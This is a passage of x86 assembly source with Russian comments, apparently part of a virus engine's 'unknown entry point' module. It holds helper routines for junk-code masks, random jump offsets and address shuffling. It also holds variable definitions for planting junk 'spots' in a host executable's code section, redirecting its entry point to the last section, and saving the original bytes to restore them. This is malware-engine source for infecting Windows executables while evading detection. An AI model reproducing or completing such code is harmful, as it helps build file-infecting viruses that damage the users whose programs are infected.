;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функи FLEA_RESTSTACK
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx     





;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
;вспомогательная функция gen_mask 
;генерация маски для мусора 
;ВХОД (stdcall) (gen_mask(DWORD xmask)):
;   xmask - начальная маска 
;ВЫХОД: 
;   EAX - новая маска 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
gen_mask:
    push    ecx
    mov     ecx,dword ptr [esp+08]     
    push    -1 
    call    [ebx].rgen_addr
    and     ecx,eax
    rol     eax,10h 
    push    eax
    call    [ebx].rgen_addr 
    and     ecx,eax   
    xchg    eax,ecx
    pop     ecx
    ret     4 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
;конец функции gen_mask 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
    




;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция get_jmpaddr
;получение операнда для jmp'a, который будет прыгать на следующее пятно 
;ВЫХОД:
;ЕАХ - искомое значение 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
get_jmpaddr:
    push    max_jmp 
    call    [ebx].rgen_addr
    cmp     eax,min_jmp
    jb      get_jmpaddr  
    ret   
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции get_jmpaddr 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 






;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция mix_addr
;перемешивание случайным образом данных в массиве
;заметки: в данном движке используется для перемешивания случаным образом адресов пятен
;ВХОД ( mix_adr(DWORD *addr_mas, DWORD num_elem) ): 
;addr_mas - адрес буфера(массива), где находятся значения, которые следует перемешать
;num_elem - кол-во этих самых элементов
;ВЫХОД:
;перемешанные адреса в буфере(массиве)    
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
mix_addr:
    pushad                  ;
    mov     ecx,dword ptr [esp+28h]             ;ECX - кол-во элементов    
    mov     esi,dword ptr [esp+24h]             ;ESI - адрес буфера, где находятся эти элементы  
    xor     edx,edx 
_nxtmix_: 
    push    ecx
    call    [ebx].rgen_addr                     ;получаем СЧ [0..ECX-1]
    push    dword ptr [esi+edx*4]               ;и перемешиваем     
    push    dword ptr [esi+eax*4]
    pop     dword ptr [esi+edx*4]
    pop     dword ptr [esi+eax*4]
    inc     edx
    cmp     edx,ecx
    jne     _nxtmix_                            ;если перемешали все элементы, то на выход 
            
    popad  
    ret     4*2 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции mix_addr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

  





;========================================================================================================
;вспомогательные переменные (находятся в стэке) 
;========================================================================================================  
imNTh               equ     dword ptr [ebp-04]  ;указатель на IMAGE_NT_HEADERS 
old_ep              equ     dword ptr [ebp-08]  ;старая точка входа
base                equ     dword ptr [ebp-12]  ;ImageBase 
new_ep              equ     dword ptr [ebp-16]  ;новая точка входа (в конец последней секции) 
start_addr          equ     dword ptr [ebp-20]  ;физический адрес точки входа (+ база мэппинга)  
codesec             equ     dword ptr [ebp-24]  ;указатель на кодовую секцию в табличке секций 
size_codesec        equ     dword ptr [ebp-28]  ;размер в кодовой секции, который реально можно использовать для записи пятен 
max_codesec_addr    equ     dword ptr [ebp-32]  ;максимальный допустимый адрес в кодовой секции, до которого можно записывать пятна 
cur_codesec_addr    equ     dword ptr [ebp-36]  ;текущий адрес в кодовой секции (используется для получения очередного адреса нового пятнышка) 
num_spots           equ     dword ptr [ebp-40]  ;кол-во реально записанных пятен в кодовую секцию 
beg_rest_bytes      equ     dword ptr [ebp-44]  ;адрес буфера, где хранится кол-во записанных пятен, размеры их, адреса, а также оригинальные байты кодовой секции 
cur_rest_bytes      equ     dword ptr [ebp-48]  ;текущий адрес в буфере (вспомогтальная переменная), куда сохраняем оригинальные байты кодовой секции etc 
spot1               equ     dword ptr [ebp-52]  ;размер 1-ой порции мусора (этих первых порций мусора столько, сколько пятен будем записывать) (также вспомогательная переменная) 
spot2               equ     dword ptr [ebp-56]  ;размер 2-ой порции мусора etc 
tgen_struct         equ     dword ptr [ebp-60]  ;адрес структуры TRASHGEN (для трэшгена xTG - или другого тэшгена)     
xtmask1             equ     dword ptr [ebp-64]  ;новая маска1
xtmask2             equ     dword ptr [ebp-68]  ;новая маска2  

restore_bytes       db      MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);буфер, представляющий собой следующую структуру:   
                                                ;num_spots              db  1               ;кол-во записанных пятен в кодовой секции 
                                                ;size_spot1             dd  1               ;размер очередного пятна
                                                ;addr_spot1             dd  1               ;адрес очередного пятнышка              
                                                ;save_bytes1            db  size_spot1      ;сохраненные оригинальные байты (вместо которых мы и записали очередное пятно) 
                                                ;size_spot2             dd  1               ;etc 
                                                ;addr_spot2             dd  1
                                                ;save_bytes2            db  size_spot2
                                                ;...
                                                ;size_spot(num_spots)   dd  1
                                                ;addr_spot(num_spots)   dd  1
                                                ;save_bytes(num_spots)  db  size_spot(num_spots) 
   
UEP_RESTBYTES_SIZE  equ     $ - restore_bytes   ;размер буфера, что выше 
;========================================================================================================           

